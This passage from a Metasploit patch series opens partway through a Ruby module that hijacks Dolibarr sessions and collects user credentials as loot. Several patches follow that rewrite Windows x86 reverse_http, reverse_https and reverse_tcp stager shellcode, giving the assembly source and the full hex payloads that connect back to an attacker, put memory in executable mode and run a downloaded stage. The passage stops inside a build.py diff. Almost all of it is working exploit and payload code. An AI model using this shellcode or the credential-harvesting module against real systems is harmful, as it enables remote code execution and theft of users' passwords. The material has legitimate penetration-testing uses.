/DOLSESSID_([a-f0-9]{32})=/ + return "DOLSESSID_#{$1}=#{token}" + else + print_warning("#{peer} - Could not create session cookie") + end + end + + # + # Show progress percentage + # Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb + # + def progress(current, total) + done = (current.to_f / total.to_f) * 100 + percent = "%3.2f%%" % done.to_f + vprint_status("#{peer} - Trying to hijack a session - " + + "%7s done (%d/%d tokens)" % [percent, current, total]) + end + + # + # Check for session tokens in 'tmp' + # + def check + get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown + end + + def run + return unless tokens = get_session_tokens + credentials = [] + print_status("#{peer} - Trying to hijack a session...") + tokens.flatten.each_with_index do |token, index| + if @cookie = create_cookie(token) and user_id = get_user_id + credentials << get_user_info(user_id) + end + progress(index + 1, tokens.size) + end + + if credentials.empty? + print_warning("#{peer} - No credentials collected.") + return + end + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Dolibarr User Credentials', + 'Indent' => 1, + 'Columns' => ['Username', 'Password', 'Admin', 'E-mail'] + ) + credentials.each do |record| + report_auth_info({ + :host => rhost, + :port => rport, + :sname => (ssl ? 'https' : 'http'), + :user => record[0], + :pass => record[1], + :source_type => 'vuln' + }) + cred_table << [record[0], record[1], record[2], record[3]] + end + print_line + print_line("#{cred_table}") + loot_name = 'dolibarr.traversal.user.credentials' + loot_type = 'text/csv' + loot_filename = 'dolibarr_user_creds.csv' + loot_desc = 'Dolibarr User Credentials' + p = store_loot( + loot_name, + loot_type, + rhost, + cred_table.to_csv, + loot_filename, + loot_desc) + print_status("Credentials saved in: #{p}") + end +end From bfc0ac4dd4480c1de822a118934fea93793de219 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 27 Jan 2014 11:42:23 -0600 Subject: [PATCH 157/246] Golf a few bytes off of reverse_http(s) --- .../x86/src/block/block_reverse_http.asm | 36 ++++++------- .../x86/src/block/block_reverse_https.asm | 42 +++++++-------- .../payloads/stagers/windows/reverse_http.rb | 51 +++++++++++-------- .../payloads/stagers/windows/reverse_https.rb | 50 ++++++++++-------- 4 files changed, 92 insertions(+), 87 deletions(-) diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 42c717622a..35233b7769 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -27,10 +27,7 @@ internetopen: push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp - jmp short dbl_get_server_host - internetconnect: - pop ebx ; Save the hostname pointer xor ecx, ecx push ecx ; DWORD_PTR dwContext (NULL) push ecx ; dwFlags @@ -38,36 +35,35 @@ internetconnect: push ecx ; password push ecx ; username push dword 4444 ; PORT - push ebx ; HOSTNAME + jmp short dbl_get_server_host ; push pointer to HOSTNAME +got_server_host: push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp - jmp get_server_uri - httpopenrequest: - pop ecx xor edx, edx ; NULL push edx ; dwContext (NULL) push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags ;0x80000000 | ; INTERNET_FLAG_RELOAD ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT ;0x00000200 | ; INTERNET_FLAG_NO_UI ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION push edx ; accept types push edx ; referrer push edx ; version - push ecx ; url + jmp get_server_uri ; push pointer to url +got_server_uri: push edx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp - mov esi, eax ; hHttpRequest + xchg esi, eax ; hHttpRequest in esi set_retry: push byte 0x10 - pop ebx + pop ecx httpsendrequest: xor edi, edi @@ -82,23 +78,23 @@ httpsendrequest: jnz short allocate_memory try_it_again: - dec ebx - jz failure - jmp short httpsendrequest + loopnz httpsendrequest + +; fall through to failure + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp dbl_get_server_host: jmp get_server_host get_server_uri: - call httpopenrequest + call got_server_uri server_uri: db "/12345", 0x00 -failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT @@ -135,7 +131,7 @@ execute_stage: ret ; dive into the stored stage address get_server_host: - call internetconnect + call got_server_host server_host: diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm index 28a0a04783..6d8938164c 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm @@ -22,15 +22,12 @@ internetopen: push edi ; LPCTSTR lpszProxyBypass push edi ; LPCTSTR lpszProxyName push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer + push byte 0 ; NULL pointer push esp ; LPCTSTR lpszAgent ("\x00") push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp - jmp short dbl_get_server_host - internetconnect: - pop ebx ; Save the hostname pointer xor ecx, ecx push ecx ; DWORD_PTR dwContext (NULL) push ecx ; dwFlags @@ -38,38 +35,37 @@ internetconnect: push ecx ; password push ecx ; username push dword 4444 ; PORT - push ebx ; HOSTNAME + jmp short dbl_get_server_host ; push pointer to HOSTNAME +got_server_host: push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp - jmp get_server_uri - httpopenrequest: - pop ecx xor edx, edx ; NULL push edx ; dwContext (NULL) push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags ;0x80000000 | ; INTERNET_FLAG_RELOAD ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00800000 | ; INTERNET_FLAG_SECURE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00800000 | ; INTERNET_FLAG_SECURE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID ;0x00000200 ; INTERNET_FLAG_NO_UI push edx ; accept types push edx ; referrer push edx ; version - push ecx ; url + jmp get_server_uri ; push pointer to url +got_server_uri: push edx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp - mov esi, eax ; hHttpRequest + xchg esi, eax ; hHttpRequest in esi set_retry: push byte 0x10 - pop ebx + pop ecx ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); set_security_options: @@ -83,7 +79,7 @@ set_security_options: push byte 4 ; sizeof(dwFlags) push eax ; &dwFlags push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest + push esi ; hHttpRequest push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -100,23 +96,23 @@ httpsendrequest: jnz short allocate_memory try_it_again: - dec ebx - jz failure - jmp short set_security_options + loopnz set_security_options + +; fall through to failure + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp dbl_get_server_host: jmp get_server_host get_server_uri: - call httpopenrequest + call got_server_uri server_uri: db "/12345", 0x00 -failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT @@ -153,7 +149,7 @@ execute_stage: ret ; dive into the stored stage address get_server_host: - call internetconnect + call got_server_host server_host: diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index dab4f927fc..f04f34bfcf 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -29,30 +29,37 @@ module Metasploit3 { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian + 'LPORT' => [ 184, 'v' ], # Not a typo, really little endian }, 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" + - "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + - "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" + - "\x52\x68\x00\x02\x60\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + - "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" + - "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" + - "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" + - "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" + - "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" + - "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" + - "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF" + + # Built on Mon Jan 27 11:38:26 2014 + # Name: stager_reverse_http + # Length: 324 bytes + # LEPort Offset: 184 + # ExitFunk Offset: 245 + "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + + "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + + "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + + "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + + "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + + "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + + "\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7\xFF\xD5\x31" + + "\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\xEB\x3D\x50\x68" + + "\x57\x89\x9F\xC6\xFF\xD5\x31\xD2\x52\x68\x00\x02\x60\x84\x52\x52" + + "\x52\xEB\x2A\x52\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59" + + "\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0" + + "\x75\x17\xE0\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xD1\xFF" + + "\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00" + + "\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53" + + "\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF" + + "\xD5\x85\xC0\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8" + + "\x7A\xFF\xFF\xFF" + } )) end diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 75285f24ca..14ee7420db 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -29,32 +29,38 @@ module Metasploit3 { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian + 'LPORT' => [ 184, 'v' ], # Not a typo, really little endian }, 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + + # Built on Mon Jan 27 11:25:25 2014 + # Name: stager_reverse_https + # Length: 344 bytes + # LEPort Offset: 184 + # ExitFunk Offset: 265 + "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" + - "\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + - "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" + - "\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + - "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" + - "\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" + - "\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" + - "\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" + - "\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" + - "\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" + - "\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" + - "\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x51" + - "\xFF\xFF\xFF" + "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + + "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + + "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + + "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + + "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + + "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + + "\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7\xFF\xD5\x31" + + "\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\xEB\x51\x50\x68" + + "\x57\x89\x9F\xC6\xFF\xD5\x31\xD2\x52\x68\x00\x32\xA0\x84\x52\x52" + + "\x52\xEB\x3E\x52\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59" + + "\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46" + + "\x9E\x86\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B" + + "\xFF\xD5\x85\xC0\x75\x17\xE0\xD8\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB" + + "\x42\xE8\xBD\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x6A\x40\x68" + + "\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF" + + "\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12" + + "\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75" + + "\xE5\x58\xC3\xE8\x66\xFF\xFF\xFF" + } )) end From c29c6be212ff737e58a959a1b3aed05479b96ff4 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 14 Jan 2014 03:00:11 -0600 Subject: [PATCH 158/246] Shave 3 bytes off of block_api --- .../windows/x86/src/block/block_api.asm | 35 +++++++++++-------- 1 file changed, 20 insertions(+), 15 deletions(-) diff --git a/external/source/shellcode/windows/x86/src/block/block_api.asm b/external/source/shellcode/windows/x86/src/block/block_api.asm index 2acc13ddec..3b7a85d82e 100644 --- a/external/source/shellcode/windows/x86/src/block/block_api.asm +++ b/external/source/shellcode/windows/x86/src/block/block_api.asm @@ -23,7 +23,7 @@ api_call: mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check + movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX @@ -34,22 +34,25 @@ loop_modname: ; not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough + loop loop_modname ; Loop until we have read enough + ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later - ; Proceed to itterate the export address table, + ; Proceed to iterate the export address table, mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [eax+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module @@ -66,14 +69,15 @@ loop_funcname: ; cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + cmp edi, [ebp+36] ; Compare the hash to the one we are searching for jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva + mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva + mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA @@ -88,10 +92,11 @@ finish: push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... + get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module - jmp short next_mod ; Process this module \ No newline at end of file + jmp short next_mod ; Process this module From be0b9fc2f8fb27c30adac90e096cc4d1d494b6d2 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 14 Jan 2014 03:06:37 -0600 Subject: [PATCH 159/246] Use the new block_api in windows/reverse_tcp --- .../payloads/stagers/windows/reverse_tcp.rb | 45 +++++++++++-------- 1 file changed, 26 insertions(+), 19 deletions(-) diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index df9706e0fe..a29d93a75c 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -26,28 +26,35 @@ module Metasploit3 'Stager' => { 'RequiresMidstager' => false, - 'Offsets' => { 'LHOST' => [ 197, 'ADDR' ], 'LPORT' => [ 204, 'n' ], 'ReverseConnectRetries' => [ 195, 'C'] }, + 'Offsets' => { 'LHOST' => [ 194, 'ADDR' ], 'LPORT' => [ 201, 'n' ], 'ReverseConnectRetries' => [ 192, 'C'] }, 'Payload' => - # Length: 290 bytes - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + # Built on Tue Jan 14 03:04:51 2014 + + # Name: stager_reverse_tcp_nx + # Length: 287 bytes + # Port Offset: 201 + # Host Offset: 194 + # RetryCounter Offset: 192 + # ExitFunk Offset: 226 + "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - "\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6" + - "\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF" + - "\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56" + - "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00" + - "\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56" + - "\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75" + - "\xEC\xC3" + "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + + "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + + "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + + "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + + "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + + "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + + "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + + "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" + + "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" + + "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" + + "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + + "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + + "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + + "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3" + } )) From 6d53570c22fb78249cbf43424c89d47e1c7ce1c2 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 14 Jan 2014 11:52:30 -0600 Subject: [PATCH 160/246] Fix abysmal mixed indentedness. --- .../source/shellcode/windows/x86/build.py | 246 +++++++++--------- 1 file changed, 125 insertions(+), 121 deletions(-) diff --git a/external/source/shellcode/windows/x86/build.py b/external/source/shellcode/windows/x86/build.py index 31eaa848c8..93e1bf59b5 100644 --- a/external/source/shellcode/windows/x86/build.py +++ b/external/source/shellcode/windows/x86/build.py @@ -1,124 +1,128 @@ -#=============================================================================# -# A simple python build script to build the singles/stages/stagers and -# some usefull information such as offsets and a hex dump. The binary output -# will be placed in the bin directory. A hex string and usefull comments will -# be printed to screen. -# -# Example: -# >python build.py stager_reverse_tcp_nx -# -# Example, to build everything: -# >python build.py all > build_output.txt -# -# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -#=============================================================================# -import os, sys, time -from subprocess import Popen -from struct import pack -#=============================================================================# -def clean( dir="./bin/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - os.remove( os.path.join( root, name ) ) -#=============================================================================# -def locate( src_file, dir="./src/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - if src_file == name: - return root - return None -#=============================================================================# -def build( name ): - location = locate( "%s.asm" % name ) - if location: - input = os.path.normpath( os.path.join( location, name ) ) - output = os.path.normpath( os.path.join( "./bin/", name ) ) - p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) - p.wait() - xmit( name ) - else: - print "[-] Unable to locate '%s.asm' in the src directory" % name -#=============================================================================# -def xmit_dump_ruby( data, length=16 ): - dump = "" - for i in xrange( 0, len( data 